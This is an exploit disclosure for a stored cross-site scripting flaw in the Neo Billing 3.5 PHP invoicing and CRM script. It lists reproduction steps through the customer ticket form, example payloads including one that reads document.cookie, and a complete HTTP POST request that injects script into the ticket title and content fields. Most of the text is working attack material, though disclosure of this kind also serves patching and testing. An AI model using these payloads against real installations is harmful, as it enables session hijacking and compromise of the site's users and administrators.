Neo Billing 3.5 Cross Site Scripting

`# Exploit Title: Neo Billing 3.5 - Stored Cross Site Scripting Vulnerability  
# Date: 18.8.2019.  
# Exploit Author: n1x_ [MS-WEB]  
# Vendor Homepage: https://codecanyon.net/item/neo-billing-accounting-invoicing-and-crm-software/20896547  
# Version: 3.5  
# CWE : CWE-79  
  
[Description]  
  
# Neo Billing os an accounting, invoicing and CRM PHP script, with over 500 installations.  
# Due to improper input fields data filtering, version 3.5 (and possibly previous versions), are affected by a stored XSS vulnerability.   
  
[Proof of Concept]  
  
# 1. Authorization as customer (regular user account) [//host/neo/crm/user/login]  
# 2. Closing an input field tag and injecting code into 'Subject' or 'Description' text fields [//host/neo/crm/tickets/addticket]  
# 3. The code is stored [//host/neo/crm/tickets] ∨ [//host/neo/crm/tickets/thread/?id=ticketid]   
  
[Example paylods]  
  
# Example payload: "><img src="x" onerror="alert('XSS');">  
# Example payload: "><script>alert(document.cookie)</script>  
  
[POST Request]  
  
POST /neo/crm/tickets/addticket HTTP/1.1  
Host: host  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: //host/neo/crm/tickets/addticket  
Content-Type: multipart/form-data; boundary=---------------------------899768029113033755249127523  
Content-Length: 694  
Cookie: __cfduid=d99e93624fe63d5aa953bf59cd28cdafe1566123585; ci_sessions=nel35vfb2hi5f9tt29l43ogn36hdmilj  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
-----------------------------899768029113033755249127523  
Content-Disposition: form-data; name="title"  
  
"><script>alert('XSS')</script>  
-----------------------------899768029113033755249127523  
Content-Disposition: form-data; name="content"  
  
<p>"><script>alert('XSS')</script><br></p>  
-----------------------------899768029113033755249127523  
Content-Disposition: form-data; name="files"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------899768029113033755249127523  
Content-Disposition: form-data; name="userfile"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------899768029113033755249127523--  
`